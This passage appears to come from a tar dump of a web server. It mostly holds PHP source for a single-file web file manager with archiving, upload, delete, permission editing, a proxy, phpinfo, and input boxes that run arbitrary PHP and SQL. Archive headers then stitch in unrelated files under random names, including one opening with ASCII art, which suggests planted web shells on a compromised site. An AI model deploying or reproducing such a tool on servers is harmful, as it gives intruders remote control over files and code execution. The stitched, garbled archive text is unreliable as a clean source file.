        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<td>	
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>about.php000064400000000363151550413340006372 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>6YWKWFGDPYMC7A6C</RequestId><HostId>nB/9Zou8nUdQKxEFYG7aVQjAivYnrrTgjt4qWSRJSt6gaXsFpmk/tCDYj+iSNVctWivzbWlb5ZA=</HostId></Error>vf2s0.php000064400000153130151550413340006221 0ustar00<?php
/**
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⡿⢿⡿⠿⠿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⡿⣿⣿
⣿⣿⣿⣿⠿⠿⢿⣿⣿⠟⣋⣭⣶⣶⣞⣿⣶⣶⣶⣬⣉⠻⣿⣿⡿⣋⣉⠻⣿⣿⣿
⣿⢻⣿⠃⣤⣤⣢⣍⣴⣿⢋⣵⣿⣿⣿⣿⣷⣶⣝⣿⣿⣧⣄⢉⣜⣥⣜⢷⢹⢇⢛
⡏⡦⡁⡸⢛⡴⢣⣾⢟⣿⣿⣿⢟⣾⣧⣙⢿⣿⣿⣿⣿⣿⣿⣿⢩⢳⣞⢿⡏⢷⣾
⣷⣵⡇⣗⡾⢁⣾⣟⣾⣿⡿⣻⣾⣿⣿⣿⡎⠛⡛⢿⣿⡟⣿⣿⡜⡜⢿⡌⠇⢾⣿
⣿⣿⠁⣾⠏⣾⣿⣿⣽⣑⣺⣥⣿⣿⣿⣿⣷⣶⣦⣖⢝⢿⣿⣿⣿⡀⠹⣿⣼⢸⣿
⣿⣿⢰⡏⢡⣿⣿⠐⣵⠿⠛⠛⣿⣿⣿⣿⣿⠍⠚⢙⠻⢦⣼⣿⣿⠁⣄⣿⣿⠘⣿
⣿⣿⢸⢹⢈⣿⣿⠘⣡⡞⠉⡀⢻⣿⣿⣿⣿⢃⠠⢈⢳⣌⣩⣿⣿⠰⠿⢼⣿⠀⣿
⣿⠿⣘⠯⠌⡟⣿⡟⣾⣇⢾⡵⣹⣟⣿⣿⣿⣮⣓⣫⣿⣟⢿⣿⢿⡾⡹⢆⣦⣤⢹
⣅⣛⠶⠽⣧⣋⠳⡓⢿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣫⣸⠏⡋⠷⣛⣫⡍⣶⣿
⣿⡿⢸⢳⣶⣶⠀⡇⣬⡛⠿⣿⣿⣿⣿⣿⣿⣿⠿⢟⣉⣕⡭⠀⢺⣸⣽⢻⡅⣿⣿
⣿⡇⣾⡾⣰⡯⠀⡗⣯⣿⣽⡶⠶⠂⢠⣾⣿⠐⠚⠻⢯⣿⠇⠎⡀⣳⣿⣼⡃⣿⣿
⣿⡇⣟⣇⡟⣧⠀⡗⣿⣿⡿⢡⢖⣀⠼⢟⣻⣤⣔⢦⢸⣿⢀⢆⢡⣿⣯⢹⡃⣿⣿
⣿⡇⡏⣿⡾⣸⣿⣇⠸⠟⣋⣼⣼⣿⢻⣿⣿⢿⣟⢾⣌⠫⠈⣶⣿⡿⣩⡿⢃⣿⣿
⣿⣷⡀⠻⡷⢪⢧⡙⠰⣾⣿⣿⣾⡽⣾⣿⡿⣺⣵⣾⣿⡇⡜⣽⠟⢷⣪⣴⣿⣿⣿
